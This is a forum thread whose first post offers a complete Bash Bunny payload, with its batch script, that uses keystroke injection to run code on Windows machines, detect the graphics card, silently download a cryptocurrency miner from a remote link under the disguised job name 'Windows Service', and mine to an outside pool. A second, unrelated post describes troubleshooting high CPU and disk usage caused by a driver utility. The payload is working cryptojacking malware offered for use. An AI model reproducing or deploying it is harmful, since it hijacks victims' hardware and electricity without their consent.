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  1. I-C-U GPU Miner By Ar1k88 As a Celebration for Firmware 1.4, I am releasing the 2nd part of the Cryptocurrency Mining scripts I have laying around. This Nifty lil script will Detect if a "desired" Graphics Card is installed, and downloads the correct miner depending on manufacturer. If not, it displays a Custom Error Message letting you know that there is "No Supported GPU". (Once again I took out a bit of this code due to the way I 1st coded it.) Enjoy! -Ar1k88 Payload.txt #!/bin/bash # # ------------------------------------------------------------------- # Title: I-C-U-GPU # Author: Ar1k88 # Verison: 2.1e # Target: Windows 7-10 # Category: Exploitation/Resources # # Notes: # ------------------------------------------------------------------- # I dont know why I code these things, but it works. You'll need to # host your own AMD/NVIDIA Miners on a Direct Download Link. (If you # dont know what that is, Google it.) I based this off Claymore's GPU # Miner and Tpruvot's ccminer. All downloads can be found by searching # the web and githubs. # # Here we go. # -Ar1k88 # ------------------------------------------------------------------- # Start the Attack! LED ATTACK # Setting to proper Attackmode. ATTACKMODE HID STORAGE RUN WIN powershell ".((GWMI win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\1.cmd')" # Give Miner 10 seconds to Download. Q DELAY 10000 LED FINISH 1.cmd (Where the real work goes on.) @echo off REM ------------------------------------------------------------------- REM Script: I-C-U-GPU REM Platform: Windows 7-10 REM Author: Ar1k88 REM REM Notes: REM ------------------------------------------------------------------- REM I dont know why I code these things, but it works. You'll need to REM host your own AMD/NVIDIA Miners on a Direct Download Link. (If you REM dont know what that is, Google it.) I based this off Claymore's GPU REM Miner and Tpruvot's ccminer. All downloads can be found by searching REM the web and githubs. REM REM Here we go. REM -Ar1k88 REM ------------------------------------------------------------------- REM -------------------- REM - Scan for Troops! - REM -------------------- REM Enabling extensions to help with variables in script. SETLOCAL ENABLEEXTENSIONS REM Clearing screen to start the script. cls REM Running Custom GPU detection script. 2-Part :DETECT REM PART 1 - Print local Video Controllers Model Number into a local file. for /F "tokens=* skip=1" %%n in ('WMIC path Win32_VideoController get Name ^| findstr "."') do set GPU_NAME=%%n REM Print to a local file in the scripts current directory. echo %GPU_NAME% > %~dp0\info.txt REM PART 2 - Check for Certain Types of GPU's. REM Check for NVIDIA GPU. :DETECT1 >nul find "NVIDIA GeForce" %~dp0\info.txt && ( GOTO FOUNDN ) || ( GOTO DETECT2 ) REM Check for AMD GPU. :DETECT2 >nul find "Radeon RX" %~dp0\info.txt && ( GOTO FOUNDA ) || ( GOTO NOTFOUND ) REM if not found, Display prompt and Exit. :NOTFOUND echo No Supported GPU was found. REM Remove next line to just print into the console. msg * "No Supported GPU was found." pause >NUL exit /b REM ------------------- REM - Start the Army! - REM ------------------- REM If NVIDIA GPU is Found. :FOUNDN REM Printing GPU Info into the Console. echo GPU Found: type %~dp0\info.txt del /f %~dp0\info.txt >NUL REM Downloading NVIDIA Miner. REM -- Insert your Direct Download link below in the URL bitsadmin pulls from. -- bitsadmin.exe /transfer "Windows Service" https://s02.solidfilesusercontent.com/MzU0MTE3ZjZmNzFjNjRjNzA0ZTQwOWEzMGE0MzRlNzNiZWJjOGYzYjoxZTY1em46TXktX3QyczlZcHB3Y2tnem5Rd2wxblhiV3lz/6PGnXWWLYxd6j/ccminer.zip %APPDATA%\miner.zip >NUL echo Done downloading, Continuing Script. REM Unzipping Miner. cd %~dp0 REM Create on-the-go Unzip Script screw 7zip, make Windows do it. -Ar1k88 @echo ZipFile="%APPDATA%\miner.zip">decomp.vbs @echo ExtractTo="%APPDATA%">>decomp.vbs @echo. >>decomp.vbs @echo Set fso = CreateObject("Scripting.FileSystemObject")>>decomp.vbs @echo sourceFile = fso.GetAbsolutePathName(ZipFile)>>decomp.vbs @echo destFolder = fso.GetAbsolutePathName(ExtractTo)>>decomp.vbs @echo. >>decomp.vbs @echo Set objShell = CreateObject("Shell.Application")>>decomp.vbs @echo Set FilesInZip=objShell.NameSpace(sourceFile).Items()>>decomp.vbs @echo objShell.NameSpace(destFolder).copyHere FilesInZip, 16>>decomp.vbs @echo. >>decomp.vbs @echo Set fso = Nothing>>decomp.vbs @echo Set objShell = Nothing>>decomp.vbs @echo Set FilesInZip = Nothing>>decomp.vbs REM Decompressing zip folder to %APPDATA% call %~dp0\decomp.vbs REM Cleaning Up. del /f %~dp0\decomp.vbs del /f %APPDATA%\miner.zip REM Cleaned up, Run the Miner. if EXIST "%APPDATA%\miner\" RMDIR "%APPDATA%\miner" /S /Q REM Change the folder names to correspond to the correct miner for NVIDIA. if NOT EXIST "%APPDATA%\miner" mkdir "%APPDATA%\miner" && copy "%APPDATA%\ccminer" "%APPDATA%\miner\" >NUL RMDIR "%APPDATA%\ccminer" /S /Q cd "%APPDATA%\miner" REM Change this to the EXE and arguements of the Miner you chose for NVIDIA. %APPDATA%\miner\ccminer.exe -a cryptonight -o stratum+tcp://mgcloudhost.com:5555 -u 10 -p x REM Go to the End Script. GOTO END REM If AMD GPU is found. :FOUNDA REM Printing GPU Info into the Console. echo GPU Found: type %~dp0\info.txt del /f %~dp0\info.txt >NUL REM Downloading AMD Miner REM -- Insert your Direct Download link below in the URL bitsadmin pulls from. -- echo Downloading.. Please Wait.. bitsadmin.exe /transfer "Windows Service" https://s01.solidfilesusercontent.com/Zjc5NmYwZGU4ZDI3MGU2NTAxNjY4OTZmN2UyMDhhNGM5ZGRiY2RiYjoxZTY0aGU6c05qcWstMnRXM1JtUVk5a2NaSFJPNExqc1RN/KvnZGBAvne6MV/Claymore_CryptoNote_GPU_Miner_v9.7_Beta_-_POOL_Catalyst_15.12_%281%29.zip "%APPDATA%\miner.zip" >NUL echo Done downloading, Continuing Script. REM Unzipping Miner cd %~dp0 REM Create on-the-go Unzip Script screw 7zip, make Windows do it. -Ar1k88 @echo ZipFile="%APPDATA%\miner.zip">decomp.vbs @echo ExtractTo="%APPDATA%">>decomp.vbs @echo. >>decomp.vbs @echo Set fso = CreateObject("Scripting.FileSystemObject")>>decomp.vbs @echo sourceFile = fso.GetAbsolutePathName(ZipFile)>>decomp.vbs @echo destFolder = fso.GetAbsolutePathName(ExtractTo)>>decomp.vbs @echo. >>decomp.vbs @echo Set objShell = CreateObject("Shell.Application")>>decomp.vbs @echo Set FilesInZip=objShell.NameSpace(sourceFile).Items()>>decomp.vbs @echo objShell.NameSpace(destFolder).copyHere FilesInZip, 16>>decomp.vbs @echo. >>decomp.vbs @echo Set fso = Nothing>>decomp.vbs @echo Set objShell = Nothing>>decomp.vbs @echo Set FilesInZip = Nothing>>decomp.vbs REM Decompressing zip folder to %APPDATA% call %~dp0\decomp.vbs REM Cleaning up. del /f %~dp0\decomp.vbs del /f %APPDATA%\miner.zip REM Cleaned up, Run the Miner. if EXIST "%APPDATA%\miner\" RMDIR "%APPDATA%\miner" /S /Q REM Change the folder names to correspond to the correct miner for AMD. if NOT EXIST "%APPDATA%\miner" mkdir "%APPDATA%\miner" && copy "%APPDATA%\Claymore CryptoNote GPU Miner v9.7 Beta - POOL" "%APPDATA%\miner\" >NUL RMDIR "%APPDATA%\Claymore CryptoNote GPU Miner v9.7 Beta - POOL" /S /Q cd "%APPDATA%\miner" REM Change this to the EXE and arguements of the Miner you chose for AMD. %APPDATA%\miner\NsGpuCNMiner.exe -o stratum+tcp://mgcloudhost.com:5555 -u 10 -p x REM Go to the End Script. GOTO END REM End Script. You can choose to clean up the folder, and exit. - or just exit. :END REM Uncomment next line to remove Miner folder after mining is done. REM RMDIR "%APPDATA%\miner" /S /Q REM Exiting script. exit /b Enjoy! -Ar1k88 https://twitter.com/ar1k88
  2. For awhile my 8-core processor was up at 30% utilization and my 840 EVO Pro SSD was at 100% utilization by the System process when I was doing absolutely nothing on my computer. I had been trying to figure out this problem for awhile and thought I fixed it on multiple occasions. The first time I realized Windows update was running in the background and downloading a ton of stuff. When I set it to manual it seemed to fix it. The processor fan was what initially caused me to look into the problem because it was screaming like a banshee for what appeared to be no reason so I set it to silent in the BIOS. This calmed the system down for awhile but then a few days ago it started up again. I scoured the performance monitor and turned off a lot of unnecessary processes that automatically start up but it was still screaming and driving me insane. Finally, I looked at this program called VIA XHCI Host Controller that came with the drivers for my MOBO. I did a Google search (which I had done in the past to no avail) and found someone else who had the same exact problem. I uninstalled it and the system instantly calmed down. I tried doing a little research on the program but I couldn't find anything negative about it. Everything simply said it was supposed to make your hard drive perform better or something. The weird thing is I built this computer over a year ago and only recently did I have this problem. If anyone knows what this thing was doing when it was scanning every directory on my computer feel free to respond and enlighten me. I'm just glad that I finally got rid of it and my system is back to normal.
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